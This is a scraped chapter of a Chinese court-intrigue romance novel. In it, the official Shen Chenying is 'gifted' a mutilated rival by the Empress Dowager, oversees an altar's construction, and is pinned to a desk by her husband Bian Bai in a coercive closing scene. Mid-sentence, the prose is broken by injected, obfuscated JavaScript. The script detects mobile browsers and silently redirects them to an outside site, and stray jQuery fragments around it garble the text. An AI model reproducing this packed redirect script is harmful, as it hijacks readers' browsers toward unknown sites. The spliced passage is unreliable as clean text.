默认冷灰
24号文字
方正启体

41. 举荐

作者:湖舟月本书字数:K更新时间:
    林楚楚竟然被做成了人彘!


    沈沉英的脑子瞬间一片空白。仿佛林楚楚那日在高台上舞蹈的美妙身姿还在眼前闪过,转而就变成了一个半死不活,任人唾弃的痰盂。


    “沈大人,哀家准备的这两份厚礼,你可喜欢。”


    胡太后的这些行为无疑是对她的一场敲打,她既要用这种残忍的方式震慑她,也在教她,做事要么不做,要么就做绝,对付林楚楚这种随时都可能捅自己一刀的人,就应该在事态发生前就捅她数十刀才对。


    她欣赏这位小沈大人的手段,但她见到的人多了,自然知道她缺乏魄力和狠劲,若能为自己所用,何愁不能培养为一柄嗜血的冷器。


    沈沉英默了默,即使她知道林楚楚会背叛她,但用这种方式惩罚她绝对不是她心中所期望的。


    关于林楚楚的事,这些日子她也有所耳闻。


    那日与段素玉在教坊司碰面时,她看到林楚楚在台上惊鸿一舞后,便叫人去打听了她的近况,底下的人回话,说是林楚楚前段时间妄想逃走,却被抓了回来,打了个半死。


    教坊司的主管问她到底是和哪个奸夫约好私奔的,她咬死不肯说,手里死死攥着一把金钗。


    而那把金钗,正是她摆脱沈沉英去宋宅的树下挖出来的,她与苏承宇,也就是苏闫的那个庶子,之间的定情信物。


    想来她是受了苏承宇蒙骗,才独自去赴约。


    回来后她就像变了个人,愿意练舞了,也愿意登台演出,以色侍人,八成也是听了什么话才做出转变。


    可这一切到底是为什么,林楚楚嗓子哑了,手脚没了,再无法告诉她,为什么会选择背叛她。


    沈沉英在心里默默叹了一口气,然后无奈地跪下谢恩,让自己的视线尽量不落在那具鲜血淋漓的身体上。


    “臣谢太后赏赐。”


    这份“赏赐”,她会铭记于心,涌泉相报。


    ……


    这些日子,沈沉英又开始忙碌起祭台的事情。


    这一次时间很赶,有时候她直接留宿在外面,在家里的时间寥寥无几。


    不过忙碌也好,她不需要去面对卞白,也不需要去细想那个荒唐无比的吻。


    有了上次的事,这次沈沉英几乎全程监工,苏畅之前用的那些人她也全部都换掉了,虽然这些师傅们在绿矾油上面没有参与过,但用人不疑,疑人不用的道理她还是懂的。


    她用了些积蓄打发了他们,又自己选了一些人上来用。


    其中有一个木匠师傅,是从衡州来的,叫做赵芳,为人还算老实,有十年的木匠经验,年幼时期就跟着师傅做学徒,在手艺上也是没得说。


    而且好巧不巧,他还是赵阿茧的丈夫,此次夫妻二人来到上京,也是想谋新出路。


    赵阿茧用学到的女工手艺做起了福娃娃,听说在永安街那一带很受欢迎,有不少富家小姐争相购买,甚至还找她预订,愿意付两倍的钱,让她定制一个独一无二的福娃娃。


    她来到上京的第一件事就是去拜访了沈沉英,并且送上了四个精致的福娃娃,代表了一年四季更迭,也祝她福气年年延续,官运亨通,步步高升。


    “沈大人,阿茧不会别的,只会些手工,做的不好看,还望您别嫌弃。”


    “这是什么话,你这福娃娃做的精美极了,我很喜欢。”


    有了沈沉英这句喜欢,赵阿茧露出了这个年纪应该有的甜美无害的笑容,笑起来时脸上红红的,肉肉的,如此看来,她现在的日子,过得还算不错。


    “我听夫君说,您现在是工部的员外郎,也是他的上级。”赵阿茧摸了摸鼻子,有些不好意思,“他这人做事认死理,不懂得变通,但绝对不会生出坏心思!如有得罪,您某要生气,与他一般计较。”


    其实对于沈沉英来说,她只需要听话做事的人就好,不需要这人头脑有多灵光,赵阿茧这番为丈夫说情其实没什么必要,但她还是答应了她,并且让她有事可以随时来找她。


    赵阿茧的眼睛立马变得亮晶晶的,还要给她跪下,这是沈沉英万万无法承受的,她只不过是在做份内之事而已,何须如此感激。


    可赵阿茧是这么说的:“沈大人,这个世上有很多人没有阿茧这般幸运,可以被救下,可以重新开始自己的生活。”


    “在南安庙内,像我这样被硬灌堕胎药终生再难有孕的人很多,可那些因为难产被主家去母留子的更是多,如果不是您,可能还有更多的女子永无光明之日。”


    沈沉英突然恍惚了一下。


    她看着眼前这个柔弱的女子,思绪万千。


    原来自己拯救了这么多人吗?原来凭借着自己的微薄之力,也能成为她人口中的英雄吗?


    那么,那些位高权重之人岂不是勾勾手指头便能造福于百姓,又为何还会有那么多被欺压被陷害,最后含冤而死的人呢。


    因为他们心中无民,只有光明璀璨的青云之路。


    当真是讽刺至极。


    送别赵阿茧后,祭台那边传来消息,说是已经竣工,就等她来验收成果。


    周越清如今已是工部侍郎,事务繁多,因而祭台一事几乎全部都由沈沉英经手,她在营缮清吏司的话语权也变大了,纵是潘长原那个见风使舵,眼高于顶的都很少来找她麻烦了。


    “沈大人,祭台建造已然完成,不久后便是中秋,我们想回去探望亲朋,不知可否……”


    未等那几个师傅们说完,沈沉英便打断了他们:“此次工程,你们都功不可没,明日去案房取了自己的银两,就都回去陪陪妻子孩儿吧。”


    闻言,师傅们喜逐颜开,满口恭维之语,本以为能准许回去已经是不易了,不曾想还有银钱可拿。


    “沈大人才是最辛苦的,几乎日日夜夜守着,想必大人的家里人也是十分惦念。”


    “是啊是啊,这些日子沈大人都快把清吏司当家了,家里人该思念坏了,这不,外头的马车早早候着了,生怕沈大人一个不留神又跑去祭台那边,夜不归宿了。”


    外头的马车?沈沉英狐疑地朝着门口望了一眼,看到马车上熟悉的车夫,心突然揪了起来。


    这不是卞白的车夫吗,怎么今日会来她这边?


    她心里有种莫名的忐忑,走出门的时候还想当做没看到,往别处方向离去,谁料步伐还没踏几步,肩上就出现了一只手将她逮了个正着。


    “这几日沈大人可真忙,连个影子都瞧不着呢。”


    卞白的声音幽幽地从她身后传来,令她浑身顿起一层鸡皮疙瘩。


    她被卞白整个人扳过来,面对着他,眼里的不悦仿佛快要溢了出来,手上力道不见小,就那么默默地等待着她的回答。


    “要是不忙,你不就见着我影子了。”沈沉英憨笑道。


    卞白快气笑了,原先还觉得这丫头脑袋是摆设,蠢而不自知,现在看来,分明灵光得很。


    “那夫人可还要忙碌?”他不等沈沉英回答,继续道,“不过为夫可听说祭台已经搭建完,不知道夫人还有什么要忙碌的?”


    卞白一口一个夫人,弄的沈沉英面上滚烫,她别扭地朝着四周看了看,然后甩开了他的手,嘟囔道:“谁是你夫人?卞白,这是在外头!”


    “那叫你夫君也不是不行啊,反正我都不介意。”


    沈沉英:“……”


    不对啊,她印象中卞白没有这么……不要脸吧。


    难不成吃错药了?


    见沈沉英若有所思,卞白直接牵起她的手,把她往马车里带,但有了上次那件事后,沈沉英对马车有种莫名的抗拒,她警惕地看着卞白,一双鹿眼圆滚滚的,看得卞白心里发痒。


    “光天化日,朗朗乾坤,切……切莫要做那种,有伤风化之事……”


    卞白饶有趣味地看着他,装傻了起来,故意问她:“什么有伤风化之事?”


    “沈大人可否与我细说,否则我不明白啊。”


    “你……你分明知道!”


    “我知道什么?沈大人不要总是打哑迷,叫人猜啊。”


    看他这副赖皮模样,沈沉英气鼓鼓地挣脱开她的手,自己上了马车,暗暗发誓,马车上她绝对不要和他说一句话!


    卞白轻笑了一声,也没有再逗她,而是默默跟着她身后上去。


    他不禁苦闷,就亲了那么一次就叫她躲了自己这么久,日日不着家,那要是做别的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445777|185097||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    事情,岂不是躲他个一年半载?


    沉英如此害羞,可叫他怎么办?


    好不容易把人逮回府里了,沈沉英又扭头就往书房里去,说是还有要务要处理,如今营缮清吏司主要由她管理,七七八八的事情确实很多。


    卞白也随着她去,跟在她身旁,看她看书册,看她写字,看她思考……


    “卞白,你没有什么别的事吗?”沈沉英忍着没说出“你很闲吗”四个字,给他最后的体面和尊重,但她忘记了,卞白不需要什么脸面。


    “有啊。”卞白笑了笑,“看你做事,不也是在做事?”


    沈沉英愣住,在心里默默叹气,她感觉经历了这么一遭后,卞白似乎变得更粘人了。这种感觉很微妙,虽然不习惯,但也不算排斥,沈沉英便由着他来了。


    “前些日子听说礼部仪制清吏司缺一主事,官家现下可有人选。”沈沉突然想起什么,不经意地问了一嘴。


    这话本就是闲谈,可一落入卞白耳中,似乎就变了味道。


    “官家要选谁,我又怎么会知道。”卞白淡淡答道。


    “就没有一点风声吗?或者说官家可有提及用人标准?”见卞白不吱声,沈沉英也有些没趣了,“你日日为太子讲读经史,怎么消息比我还不灵通……”


    卞白沉沉地看了她一眼,为她把纸笔铺好,拿起墨条研磨。


    “官家希望选一个翰林院出身,最好在仪制方面有所造诣的。”


    翰林院出身首先就可以筛掉一大批人了,再加上仪制上有研究的,她脑子里瞬间便联想到了她们同期的那位榜眼薛问青。


    薛问青在礼制上造诣颇高,曾得官家赞赏,想来这次备选的人中,也有他一席之地,那么谢与怀若想进礼部,就有些困难了。


    所谓人情难还,谢与怀前几日和她提了一嘴这事,虽然没有明说是想进礼部,但意思很明显,就是希望沈沉英能劝说卞白,为他作举荐。


    卞白毕竟是日后最有希望进内阁的官员,现下又是太子的侍讲学士,多少能说的上些话。


    “那是否有人举荐薛问青?”沈沉英问道,“我记得他还挺厉害的,在礼制上的学识比许多礼部的前辈们还渊博。”


    “可就是不知道他本人是何想法……”


    “沈沉英。”卞白语气变得有些冷淡,“你想知道他的想法做什么?”


    “难不成你也想进礼部?”


    闻言,沈沉英有些怔住,此前她的确有过进礼部的想法,毕竟娘亲曾经是宫里的乐人,和礼部关系匪浅,兴许可以知道些曾经的旧事,但如今的礼部很多官员都变更了,也很难打探到什么,也就歇了那个心思。


    “我没有。”沈沉英低下了头,似是在思考些什么。


    “那就是你有希望让我向官家举荐的人?”


    果然,什么都瞒不过卞白,她在想什么他心里一清二楚。


    沈沉英干脆就开门见山了:“我希望你帮我举荐谢与怀进去,他此次帮了我很大的忙,况且他对礼制也很熟悉,最近也在协助礼部进行各种礼仪典礼,我觉得他……”


    话还没有说完,沈沉英就有些后悔了。


    谢与怀帮她的忙,又关卞白什么事。自己还嫌拉他下水不够吗?


    “算了,我再想想别的办法吧。”


    听她说这话,卞白的脸更黑了。本来听沈沉英一直在提别的男人他就够不痛快了,结果她还一副生怕麻烦自己的样子。


    瞬间一股无名火在他心里燃了起来。


    沈沉英把最后一些事务处理完后,把笔撂下,就要回房休息,人还没有走两步,就被卞白一把拉扯了过去,然后整个人被按在书案上。


    “卞白!”


    卞白没有管她,而是把她整个人又往书案里面推了推,笔墨纸砚便哐哐当当地碰落了一地,嘈杂混乱间还伴随着布帛间的摩擦声响。


    让她整个人好似躺在书台上一般,看上去像案板上的鱼一样无处躲藏。


    “你想干什么?放我下去!”沈沉英用力推搡着他,却反被卞白钳制住双手,按在她的头顶处。


    卞白将唇凑在沈沉英耳边,冷冷道:“我想干什么,你确定要知道?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)